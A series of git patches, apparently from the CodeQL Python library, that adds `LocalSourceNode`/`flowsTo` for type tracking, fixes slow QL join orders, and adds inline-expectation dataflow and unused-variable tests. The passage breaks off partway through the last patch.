From ead687da06543861b465ab110aad13d5a995b15c Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Tue, 21 Jan 2020 15:28:01 +0100 Subject: [PATCH 0001/1241] Python: Add false positive test example for issue #2652. --- .../Variables/unused/UnusedLocalVariable.expected | 1 + .../Variables/unused/type_annotation_fp.py | 11 +++++++++++ 2 files changed, 12 insertions(+) create mode 100644 python/ql/test/query-tests/Variables/unused/type_annotation_fp.py diff --git a/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.expected b/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.expected index a902cad04cb..339a74432bc 100644 --- a/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.expected +++ b/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.expected @@ -1,3 +1,4 @@ +| type_annotation_fp.py:5:5:5:7 | foo | The value assigned to local variable 'foo' is never used. | | variables_test.py:29:5:29:5 | x | The value assigned to local variable 'x' is never used. | | variables_test.py:89:5:89:5 | a | The value assigned to local variable 'a' is never used. | | variables_test.py:89:7:89:7 | b | The value assigned to local variable 'b' is never used. | diff --git a/python/ql/test/query-tests/Variables/unused/type_annotation_fp.py b/python/ql/test/query-tests/Variables/unused/type_annotation_fp.py new file mode 100644 index 00000000000..72293f232e5 --- /dev/null +++ b/python/ql/test/query-tests/Variables/unused/type_annotation_fp.py @@ -0,0 +1,11 @@ +# FP Type annotation counts as redefinition +# See https://github.com/Semmle/ql/issues/2652 + +def type_annotation(x): + foo = 5 + if x: + foo : int + do_stuff_with(foo) + else: + foo : float + do_other_stuff_with(foo) From 83ba8c9bf5e560e8f1a4f0eade0b2075a0e86fa1 Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Thu, 5 Nov 2020 16:26:03 +0100 Subject: [PATCH 0002/1241] Python: Add `LocalSourceNode` and `flowsTo` This fixes the major performance problem with type tracking on some (pathological) databases. The interface could probably be improved a bit. In particular, I'm thinking that we might want to have `DataFlow::exprNode` return a `LocalSourceNode` so that a cast isn't necessary in order to use `flowsTo`. I have added two `cached` annotations. The one on `flowsTo` is crucial, as performance regresses without it. The one on `simpleLocalFlowStep` may not be needed, but Java has a similar annotation, and to me it makes sense to have this relation cached. --- python/ql/src/semmle/python/Concepts.qll | 6 ++++-- .../src/semmle/python/dataflow/new/TypeTracker.qll | 11 +++++------ .../python/dataflow/new/internal/Attributes.qll | 4 ++-- .../dataflow/new/internal/DataFlowPrivate.qll | 1 + .../python/dataflow/new/internal/DataFlowPublic.qll | 13 +++++++++++++ python/ql/src/semmle/python/frameworks/Django.qll | 2 +- python/ql/src/semmle/python/frameworks/Flask.qll | 4 ++-- 7 files changed, 28 insertions(+), 13 deletions(-) diff --git a/python/ql/src/semmle/python/Concepts.qll b/python/ql/src/semmle/python/Concepts.qll index 5673b28ae9e..ecc948f7ef3 100644 --- a/python/ql/src/semmle/python/Concepts.qll +++ b/python/ql/src/semmle/python/Concepts.qll @@ -336,7 +336,7 @@ module HTTP { /** Gets the URL pattern for this route, if it can be statically determined. */ string getUrlPattern() { exists(StrConst str | - DataFlow::localFlow(DataFlow::exprNode(str), this.getUrlPatternArg()) and + DataFlow::exprNode(str).(DataFlow::LocalSourceNode).flowsTo(this.getUrlPatternArg()) and result = str.getText() ) } @@ -403,7 +403,9 @@ module HTTP { /** Gets the mimetype of this HTTP response, if it can be statically determined. */ string getMimetype() { exists(StrConst str | - DataFlow::localFlow(DataFlow::exprNode(str), this.getMimetypeOrContentTypeArg()) and + DataFlow::exprNode(str) + .(DataFlow::LocalSourceNode) + .flowsTo(this.getMimetypeOrContentTypeArg()) and result = str.getText().splitAt(";", 0) ) or diff --git a/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll b/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll index 716fa90cff2..d8847dd3784 100644 --- a/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll +++ b/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll @@ -46,7 +46,7 @@ class StepSummary extends TStepSummary { module StepSummary { cached - predicate step(Node nodeFrom, Node nodeTo, StepSummary summary) { + predicate step(LocalSourceNode nodeFrom, Node nodeTo, StepSummary summary) { exists(Node mid | typePreservingStep*(nodeFrom, mid) and smallstep(mid, nodeTo, summary)) } @@ -70,9 +70,8 @@ module StepSummary { /** Holds if it's reasonable to expect the data flow step from `nodeFrom` to `nodeTo` to preserve types. */ private predicate typePreservingStep(Node nodeFrom, Node nodeTo) { - EssaFlow::essaFlowStep(nodeFrom, nodeTo) or - jumpStep(nodeFrom, nodeTo) or - nodeFrom = nodeTo.(PostUpdateNode).getPreUpdateNode() + simpleLocalFlowStep(nodeFrom, nodeTo) or + jumpStep(nodeFrom, nodeTo) } /** Holds if `nodeFrom` steps to `nodeTo` by being passed as a parameter in a call. */ @@ -115,11 +114,11 @@ predicate returnStep(ReturnNode nodeFrom, Node nodeTo) { * function. This means we will track the fact that `x.attr` can have the type of `y` into the * assignment to `z` inside `bar`, even though this attribute write happens _after_ `bar` is called. */ -predicate basicStoreStep(Node nodeFrom, Node nodeTo, string attr) { +predicate basicStoreStep(Node nodeFrom, LocalSourceNode nodeTo, string attr) { exists(AttrWrite a | a.mayHaveAttributeName(attr) and nodeFrom = a.getValue() and - simpleLocalFlowStep*(nodeTo, a.getObject()) + nodeTo.flowsTo(a.getObject()) ) } diff --git a/python/ql/src/semmle/python/dataflow/new/internal/Attributes.qll b/python/ql/src/semmle/python/dataflow/new/internal/Attributes.qll index 6348b4f3f39..cfe05cb3173 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/Attributes.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/Attributes.qll @@ -30,8 +30,8 @@ abstract class AttrRef extends Node { predicate mayHaveAttributeName(string attrName) { attrName = this.getAttributeName() or - exists(Node nodeFrom | - localFlow(nodeFrom, this.getAttributeNameExpr()) and + exists(LocalSourceNode nodeFrom | + nodeFrom.flowsTo(this.getAttributeNameExpr()) and attrName = nodeFrom.asExpr().(StrConst).getText() ) } diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 5ec17b71df1..88daeb9481b 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -181,6 +181,7 @@ module EssaFlow { * data flow. It is a strict subset of the `localFlowStep` predicate, as it * excludes SSA flow through instance fields. */ +cached predicate simpleLocalFlowStep(Node nodeFrom, Node nodeTo) { // If there is ESSA-flow out of a node `node`, we want flow // both out of `node` and any post-update node of `node`. diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index 4c3a0f71093..c074ea8d33b 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -351,6 +351,19 @@ class BarrierGuard extends GuardNode { } } +/** + * A data flow node that is a source of local flow. This includes things like + * - Expressions + * - Function parameters + */ +class LocalSourceNode extends Node { + LocalSourceNode() { not simpleLocalFlowStep(_, this) } + + /** Holds if this `LocalSourceNode` can flow to `nodeTo` in one or more local flow steps. */ + cached + predicate flowsTo(Node nodeTo) { simpleLocalFlowStep*(this, nodeTo) } +} + /** * A reference contained in an object. This is either a field or a property. */ diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 837e322075d..44321349937 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1641,7 +1641,7 @@ private module Django { DjangoRouteRegex() { this instanceof StrConst and - DataFlow::localFlow(DataFlow::exprNode(this), rePathCall.getUrlPatternArg()) + DataFlow::exprNode(this).(DataFlow::LocalSourceNode).flowsTo(rePathCall.getUrlPatternArg()) } DjangoRegexRouteSetup getRouteSetup() { result = rePathCall } diff --git a/python/ql/src/semmle/python/frameworks/Flask.qll b/python/ql/src/semmle/python/frameworks/Flask.qll index 7b99d627050..3ec20cd6b61 100644 --- a/python/ql/src/semmle/python/frameworks/Flask.qll +++ b/python/ql/src/semmle/python/frameworks/Flask.qll @@ -319,9 +319,9 @@ private module FlaskModel { } override Function getARouteHandler() { - exists(DataFlow::Node view_func_arg, DataFlow::Node func_src | + exists(DataFlow::Node view_func_arg, DataFlow::LocalSourceNode func_src | view_func_arg.asCfgNode() in [node.getArg(2), node.getArgByName("view_func")] and - DataFlow::localFlow(func_src, view_func_arg) and + func_src.flowsTo(view_func_arg) and func_src.asExpr().(CallableExpr) = result.getDefinition() ) } From 035e747ad5cd8f57dd0bb019fc6690ab17164d75 Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Thu, 5 Nov 2020 16:30:19 +0100 Subject: [PATCH 0003/1241] Python: Fix slow use of `regexCapture` in `Builtin::strValue` This is only _really_ expensive when there are a _lot_ of strings in the database, but for this case, where we're always extracting the same substring of the string, it's easier -- and faster -- to just make a substring operation directly. --- python/ql/src/semmle/python/types/Builtins.qll | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/types/Builtins.qll b/python/ql/src/semmle/python/types/Builtins.qll index b5a03686bdd..066b496b80e 100644 --- a/python/ql/src/semmle/python/types/Builtins.qll +++ b/python/ql/src/semmle/python/types/Builtins.qll @@ -104,7 +104,8 @@ class Builtin extends @py_cobject { ) and exists(string quoted_string | quoted_string = this.getName() and - result = quoted_string.regexpCapture("[bu]'([\\s\\S]*)'", 1) + // Remove prefix ("b" or "u") and leading and trailing quotes (both "'"). + result = quoted_string.substring(2, quoted_string.length() - 1) ) } } From 35a63e24112d504953be7fd40a5c4bc61dbe00aa Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Thu, 5 Nov 2020 16:33:59 +0100 Subject: [PATCH 0004/1241] Python: Fix bad join in `regex::used_as_regex` Since the number of relevant attributes in the `re` module is fairly small, it made sense to factor this out in a separate predicate, and the join order also became more sensible. --- python/ql/src/semmle/python/regex.qll | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/regex.qll b/python/ql/src/semmle/python/regex.qll index 0476c9d55b4..c46a895b940 100644 --- a/python/ql/src/semmle/python/regex.qll +++ b/python/ql/src/semmle/python/regex.qll @@ -19,6 +19,19 @@ private predicate re_module_function(string name, int flags) { name = "subn" and flags = 4 } +/** + * Gets the names and corresponding values of attributes of the `re` module that are likely to be + * methods taking regular expressions as arguments. + * + * This is a helper predicate that fixes a bad join order, and should not be inlined without checking + * that this is safe. + */ +pragma[nomagic] +private Value relevant_re_attr(string name) { + result = Module::named("re").attr(name) and + name != "escape" +} + /** * Holds if `s` is used as a regex with the `re` module, with the regex-mode `mode` (if known). * If regex mode is not known, `mode` will be `"None"`. @@ -28,8 +41,7 @@ predicate used_as_regex(Expr s, string mode) { /* Call to re.xxx(regex, ... [mode]) */ exists(CallNode call, string name | call.getArg(0).pointsTo(_, _, s.getAFlowNode()) and - call.getFunction().pointsTo(Module::named("re").attr(name)) and - not name = "escape" + call.getFunction().pointsTo(relevant_re_attr(name)) | mode = "None" or From 1251bc57f5bcd13e596058c63a77794dbea17801 Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Thu, 5 Nov 2020 16:40:29 +0100 Subject: [PATCH 0005/1241] Python: Fix bad join in `TObject::literal_instantiation` Here, `context.appliesTo(n)` was being distributed across all of the disjuncts, which caused poor performance. The new helper predicate, `literal_node_class` should be fairly small, since it only applies to a subset of `ControlFlowNode`s, and only assigns a limited set of `ClassObjectInternal`s to these nodes. --- .../ql/src/semmle/python/objects/TObject.qll | 39 ++++++++++++------- 1 file changed, 24 insertions(+), 15 deletions(-) diff --git a/python/ql/src/semmle/python/objects/TObject.qll b/python/ql/src/semmle/python/objects/TObject.qll index 511bde44995..d83d47af1ee 100644 --- a/python/ql/src/semmle/python/objects/TObject.qll +++ b/python/ql/src/semmle/python/objects/TObject.qll @@ -229,23 +229,32 @@ predicate class_method( PointsToInternal::pointsTo(instantiation.getArg(0), context, function, _) } +/** + * Holds if the literal corresponding to the control flow node `n` has class `cls`. + * + * Helper predicate for `literal_instantiation`. Prevents a bad join with + * `PointsToContext::appliesTo` from occuring. + */ +pragma[nomagic] +private predicate literal_node_class(ControlFlowNode n, ClassObjectInternal cls) { + n instanceof ListNode and cls = ObjectInternal::builtin("list") + or + n instanceof DictNode and cls = ObjectInternal::builtin("dict") + or + n instanceof SetNode and cls = ObjectInternal::builtin("set") + or + n.getNode() instanceof ImaginaryLiteral and cls = ObjectInternal::builtin("complex") + or + n.getNode() instanceof ListComp and cls = ObjectInternal::builtin("list") + or + n.getNode() instanceof SetComp and cls = ObjectInternal::builtin("set") + or + n.getNode() instanceof DictComp and cls = ObjectInternal::builtin("dict") +} + predicate literal_instantiation(ControlFlowNode n, ClassObjectInternal cls, PointsToContext context) { context.appliesTo(n) and - ( - n instanceof ListNode and cls = ObjectInternal::builtin("list") - or - n instanceof DictNode and cls = ObjectInternal::builtin("dict") - or - n instanceof SetNode and cls = ObjectInternal::builtin("set") - or - n.getNode() instanceof ImaginaryLiteral and cls = ObjectInternal::builtin("complex") - or - n.getNode() instanceof ListComp and cls = ObjectInternal::builtin("list") - or - n.getNode() instanceof SetComp and cls = ObjectInternal::builtin("set") - or - n.getNode() instanceof DictComp and cls = ObjectInternal::builtin("dict") - ) + literal_node_class(n, cls) } predicate super_instantiation( From bae4acabb1b274186c6aab95625686732acac5c5 Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Thu, 5 Nov 2020 16:45:27 +0100 Subject: [PATCH 0006/1241] Python: Fix bad join in `StrConst::isUnicode` Also fixes a bug ("`B`" was not recognised as a bytestring prefix). The basic idea behind this fix is that the set of possible prefixes is fairly small, so it's easier just to precompute them, and then join them with the entire prefix of the string in question (rather than look at each string in isolation, get its prefix, and _then_ check whether it looks like it's a unicode string prefix, which essentially is what the code did before). --- python/ql/src/semmle/python/Exprs.qll | 36 +++++++++++++++++++++------ 1 file changed, 29 insertions(+), 7 deletions(-) diff --git a/python/ql/src/semmle/python/Exprs.qll b/python/ql/src/semmle/python/Exprs.qll index 553e12103ad..98c24b126a4 100644 --- a/python/ql/src/semmle/python/Exprs.qll +++ b/python/ql/src/semmle/python/Exprs.qll @@ -584,18 +584,40 @@ class Slice extends Slice_ { } } +/** + * Returns all string prefixes in the database that are explicitly marked as Unicode strings. + * + * Helper predicate for `StrConst::isUnicode`. + */ +pragma[nomagic] +private string unicode_prefix() { + result = any(Str_ s).getPrefix() and + result.charAt(_) in ["u", "U"] +} + +/** + * Returns all string prefixes in the database that are _not_ explicitly marked as bytestrings. + * + * Helper predicate for `StrConst::isUnicode`. + */ +pragma[nomagic] +private string non_byte_prefix() { + result = any(Str_ s).getPrefix() and + not result.charAt(_) in ["b", "B"] +} + /** A string constant. */ class StrConst extends Str_, ImmutableLiteral { /* syntax: "hello" */ predicate isUnicode() { - this.getPrefix().charAt(_) = "u" + this.getPrefix() = unicode_prefix() or - this.getPrefix().charAt(_) = "U" - or - not this.getPrefix().charAt(_) = "b" and major_version() = 3 - or - not this.getPrefix().charAt(_) = "b" and - this.getEnclosingModule().hasFromFuture("unicode_literals") + this.getPrefix() = non_byte_prefix() and + ( + major_version() = 3 + or + this.getEnclosingModule().hasFromFuture("unicode_literals") + ) } deprecated override string strValue() { result = this.getS() } From 7c58b28e36e7a034891455304056e119ac9b2267 Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Thu, 5 Nov 2020 16:47:41 +0100 Subject: [PATCH 0007/1241] Python: Write `DataFlow::update` more succinctly This has no impact on performance, but it cleans up the code a bit, and (hopefully) makes it more readable. --- .../semmle/python/dataflow/new/internal/DataFlowPrivate.qll | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 88daeb9481b..22a92844910 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -215,10 +215,7 @@ private predicate localEssaStep(EssaNode nodeFrom, EssaNode nodeTo) { * Holds if `result` is either `node`, or the post-update node for `node`. */ private Node update(Node node) { - exists(PostUpdateNode pun | - node = pun.getPreUpdateNode() and - result = pun - ) + node = result.(PostUpdateNode).getPreUpdateNode() or result = node } From a9149b7e47a582166986dca6255371d73e5e901c Mon Sep 17 00:00:00 2001 From: Taus Date: Fri, 6 Nov 2020 17:15:58 +0100 Subject: [PATCH 0008/1241] Python: Update `python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll` Co-authored-by: yoff --- .../semmle/python/dataflow/new/internal/DataFlowPrivate.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 22a92844910..508a43927c7 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -215,9 +215,9 @@ private predicate localEssaStep(EssaNode nodeFrom, EssaNode nodeTo) { * Holds if `result` is either `node`, or the post-update node for `node`. */ private Node update(Node node) { - node = result.(PostUpdateNode).getPreUpdateNode() - or result = node + or + result.(PostUpdateNode).getPreUpdateNode() = node } // TODO: Make modules for these headings From 823ed447df465beee6ca6d7fb5d6f410d2708c35 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Thu, 12 Nov 2020 21:57:29 +0100 Subject: [PATCH 0009/1241] Python: Add new-style tests should perhaps move `LocalFlowStepTest` and `MaximalFlowStep` into where they are referenced (they did not seem too reusable after all). Should also add argument tests in the same way. --- .../dataflow/FlowTestUtil/FlowTest.qll | 31 ++++ .../FlowTestUtil/LocalFlowStepTest.qll | 13 ++ .../dataflow/FlowTestUtil/MaximalFlowTest.qll | 34 +++++ .../dataflow/basic/localFlowStepTest.expected | 0 .../dataflow/basic/localFlowStepTest.ql | 1 + .../dataflow/basic/maximalFlowTest.expected | 0 .../dataflow/basic/maximalFlowTest.ql | 1 + .../test/experimental/dataflow/basic/test.py | 12 +- .../dataflow/coverage/dataflowTest.expected | 0 .../dataflow/coverage/dataflowTest.ql | 13 ++ .../dataflow/coverage/datamodel.py | 12 +- .../coverage/maximalFlowTest.expected | 0 .../dataflow/coverage/maximalFlowTest.ql | 1 + .../experimental/dataflow/coverage/test.py | 140 +++++++++--------- 14 files changed, 176 insertions(+), 82 deletions(-) create mode 100644 python/ql/test/experimental/dataflow/FlowTestUtil/FlowTest.qll create mode 100644 python/ql/test/experimental/dataflow/FlowTestUtil/LocalFlowStepTest.qll create mode 100644 python/ql/test/experimental/dataflow/FlowTestUtil/MaximalFlowTest.qll create mode 100644 python/ql/test/experimental/dataflow/basic/localFlowStepTest.expected create mode 100644 python/ql/test/experimental/dataflow/basic/localFlowStepTest.ql create mode 100644 python/ql/test/experimental/dataflow/basic/maximalFlowTest.expected create mode 100644 python/ql/test/experimental/dataflow/basic/maximalFlowTest.ql create mode 100644 python/ql/test/experimental/dataflow/coverage/dataflowTest.expected create mode 100644 python/ql/test/experimental/dataflow/coverage/dataflowTest.ql create mode 100644 python/ql/test/experimental/dataflow/coverage/maximalFlowTest.expected create mode 100644 python/ql/test/experimental/dataflow/coverage/maximalFlowTest.ql diff --git a/python/ql/test/experimental/dataflow/FlowTestUtil/FlowTest.qll b/python/ql/test/experimental/dataflow/FlowTestUtil/FlowTest.qll new file mode 100644 index 00000000000..9f0762f6488 --- /dev/null +++ b/python/ql/test/experimental/dataflow/FlowTestUtil/FlowTest.qll @@ -0,0 +1,31 @@ +import python +import semmle.python.dataflow.new.DataFlow +import TestUtilities.InlineExpectationsTest + +abstract class FlowTest extends InlineExpectationsTest { + bindingset[this] + FlowTest() { any() } + + abstract string flowTag(); + + abstract predicate relevantFlow(DataFlow::Node fromNode, DataFlow::Node toNode); + + override string getARelevantTag() { result = this.flowTag() } + + override predicate hasActualResult(Location location, string element, string tag, string value) { + exists(DataFlow::Node fromNode, DataFlow::Node toNode | this.relevantFlow(fromNode, toNode) | + location = toNode.getLocation() and + tag = this.flowTag() and + value = + "\"" + fromNode.toString() + lineStr(fromNode, toNode) + " -> " + toNode.toString() + "\"" and + element = toNode.toString() + ) + } + + pragma[inline] + private string lineStr(DataFlow::Node fromNode, DataFlow::Node toNode) { + if fromNode.getLocation().getStartLine() = toNode.getLocation().getStartLine() + then result = "" + else result = ", l:" + fromNode.getLocation().getStartLine() + } +} diff --git a/python/ql/test/experimental/dataflow/FlowTestUtil/LocalFlowStepTest.qll b/python/ql/test/experimental/dataflow/FlowTestUtil/LocalFlowStepTest.qll new file mode 100644 index 00000000000..c2c180627ec --- /dev/null +++ b/python/ql/test/experimental/dataflow/FlowTestUtil/LocalFlowStepTest.qll @@ -0,0 +1,13 @@ +import python +import semmle.python.dataflow.new.DataFlow +import FlowTest + +class LocalFlowStepTest extends FlowTest { + LocalFlowStepTest() { this = "LocalFlowStepTest" } + + override string flowTag() { result = "step" } + + override predicate relevantFlow(DataFlow::Node fromNode, DataFlow::Node toNode) { + DataFlow::localFlowStep(fromNode, toNode) + } +} diff --git a/python/ql/test/experimental/dataflow/FlowTestUtil/MaximalFlowTest.qll b/python/ql/test/experimental/dataflow/FlowTestUtil/MaximalFlowTest.qll new file mode 100644 index 00000000000..792aa2b848d --- /dev/null +++ b/python/ql/test/experimental/dataflow/FlowTestUtil/MaximalFlowTest.qll @@ -0,0 +1,34 @@ +import python +import semmle.python.dataflow.new.DataFlow +import FlowTest + +class MaximalFlowTest extends FlowTest { + MaximalFlowTest() { this = "MaximalFlowTest" } + + override string flowTag() { result = "flow" } + + override predicate relevantFlow(DataFlow::Node source, DataFlow::Node sink) { + source != sink and + exists(MaximalFlowsConfig cfg | cfg.hasFlow(source, sink)) + } +} + +/** + * A configuration to find all "maximal" flows. + * To be used on small programs. + */ +class MaximalFlowsConfig extends DataFlow::Configuration { + MaximalFlowsConfig() { this = "MaximalFlowsConfig" } + + override predicate isSource(DataFlow::Node node) { + not node.asCfgNode() instanceof CallNode and + not node.asCfgNode().getNode() instanceof Return and + not node instanceof DataFlow::ParameterNode and + not exists(DataFlow::Node pred | DataFlow::localFlowStep(pred, node)) + } + + override predicate isSink(DataFlow::Node node) { + not any(CallNode c).getArg(_) = node.asCfgNode() and + not exists(DataFlow::Node succ | DataFlow::localFlowStep(node, succ)) + } +} diff --git a/python/ql/test/experimental/dataflow/basic/localFlowStepTest.expected b/python/ql/test/experimental/dataflow/basic/localFlowStepTest.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/experimental/dataflow/basic/localFlowStepTest.ql b/python/ql/test/experimental/dataflow/basic/localFlowStepTest.ql new file mode 100644 index 00000000000..6e57f26cd0f --- /dev/null +++ b/python/ql/test/experimental/dataflow/basic/localFlowStepTest.ql @@ -0,0 +1 @@ +import experimental.dataflow.FlowTestUtil.LocalFlowStepTest diff --git a/python/ql/test/experimental/dataflow/basic/maximalFlowTest.expected b/python/ql/test/experimental/dataflow/basic/maximalFlowTest.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/experimental/dataflow/basic/maximalFlowTest.ql b/python/ql/test/experimental/dataflow/basic/maximalFlowTest.ql new file mode 100644 index 00000000000..ec171dcd9fd --- /dev/null +++ b/python/ql/test/experimental/dataflow/basic/maximalFlowTest.ql @@ -0,0 +1 @@ +import experimental.dataflow.FlowTestUtil.MaximalFlowTest diff --git a/python/ql/test/experimental/dataflow/basic/test.py b/python/ql/test/experimental/dataflow/basic/test.py index 416467d9dc9..e97068a041c 100644 --- a/python/ql/test/experimental/dataflow/basic/test.py +++ b/python/ql/test/experimental/dataflow/basic/test.py @@ -1,7 +1,7 @@ -def obfuscated_id(x): - y = x - z = y - return z +def obfuscated_id(x): #$ step="ControlFlowNode for FunctionExpr -> GSSA Variable obfuscated_id" + y = x #$ step="ControlFlowNode for x -> SSA variable y" step="SSA variable x, l:1 -> ControlFlowNode for x" + z = y #$ step="ControlFlowNode for y -> SSA variable z" step="SSA variable y, l:2 -> ControlFlowNode for y" + return z #$ flow="ControlFlowNode for IntegerLiteral, l:6 -> ControlFlowNode for z" step="SSA variable z, l:3 -> ControlFlowNode for z" -a = 42 -b = obfuscated_id(a) +a = 42 #$ step="ControlFlowNode for IntegerLiteral -> GSSA Variable a" +b = obfuscated_id(a) #$ flow="ControlFlowNode for IntegerLiteral, l:6 -> GSSA Variable b" flow="ControlFlowNode for FunctionExpr, l:1 -> ControlFlowNode for obfuscated_id" step="ControlFlowNode for obfuscated_id() -> GSSA Variable b" step="GSSA Variable obfuscated_id, l:1 -> ControlFlowNode for obfuscated_id" step="GSSA Variable a, l:6 -> ControlFlowNode for a" diff --git a/python/ql/test/experimental/dataflow/coverage/dataflowTest.expected b/python/ql/test/experimental/dataflow/coverage/dataflowTest.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/experimental/dataflow/coverage/dataflowTest.ql b/python/ql/test/experimental/dataflow/coverage/dataflowTest.ql new file mode 100644 index 00000000000..c7b2b5bfe15 --- /dev/null +++ b/python/ql/test/experimental/dataflow/coverage/dataflowTest.ql @@ -0,0 +1,13 @@ +import python +import experimental.dataflow.FlowTestUtil.FlowTest +import experimental.dataflow.testConfig + +class DataFlowTest extends FlowTest { + DataFlowTest() { this = "DataFlowTest" } + + override string flowTag() { result = "flow" } + + override predicate relevantFlow(DataFlow::Node source, DataFlow::Node sink) { + exists(TestConfiguration cfg | cfg.hasFlow(source, sink)) + } +} diff --git a/python/ql/test/experimental/dataflow/coverage/datamodel.py b/python/ql/test/experimental/dataflow/coverage/datamodel.py index f5f3680dd55..d6ab9bd3dcb 100644 --- a/python/ql/test/experimental/dataflow/coverage/datamodel.py +++ b/python/ql/test/experimental/dataflow/coverage/datamodel.py @@ -35,7 +35,7 @@ def SINK_F(x): def f(a, b): return a -SINK(f(SOURCE, 3)) +SINK(f(SOURCE, 3)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for f()" flow="ControlFlowNode for Str, l:13 -> ControlFlowNode for f()" # Instance methods # An instance method object combines a class, a class instance and any callable object (normally a user-defined function). @@ -68,8 +68,8 @@ c = C() func_obj = c.method.__func__ # When an instance method object is called, the underlying function (__func__) is called, inserting the class instance (__self__) in front of the argument list. For instance, when C is a class which contains a definition for a function f(), and x is an instance of C, calling x.f(1) is equivalent to calling C.f(x, 1). -SINK(c.method(SOURCE, C)) -SINK(C.method(c, SOURCE, C)) +SINK(c.method(SOURCE, C)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:38 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:13 -> ControlFlowNode for Attribute()" +SINK(C.method(c, SOURCE, C)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:38 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:71 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:13 -> ControlFlowNode for Attribute()" SINK(func_obj(c, SOURCE, C)) @@ -77,8 +77,8 @@ SINK(func_obj(c, SOURCE, C)) c_func_obj = C.classmethod.__func__ # When an instance method object is derived from a class method object, the “class instance” stored in __self__ will actually be the class itself, so that calling either x.f(1) or C.f(1) is equivalent to calling f(C,1) where f is the underlying function. -SINK(c.classmethod(SOURCE)) -SINK(C.classmethod(SOURCE)) +SINK(c.classmethod(SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:38 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:71 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:72 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:73 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:13 -> ControlFlowNode for Attribute()" +SINK(C.classmethod(SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:38 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:71 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:72 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:73 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:80 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:13 -> ControlFlowNode for Attribute()" SINK(c_func_obj(C, SOURCE)) # Generator functions @@ -156,4 +156,4 @@ customized = Customized() SINK(Customized.a) SINK_F(Customized.b) SINK(customized.a) -SINK(customized.b) # Flow found +SINK(customized.b) #$ flow="ControlFlowNode for SOURCE, l:152 -> ControlFlowNode for Attribute" flow="ControlFlowNode for Str, l:13 -> ControlFlowNode for Attribute" diff --git a/python/ql/test/experimental/dataflow/coverage/maximalFlowTest.expected b/python/ql/test/experimental/dataflow/coverage/maximalFlowTest.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/experimental/dataflow/coverage/maximalFlowTest.ql 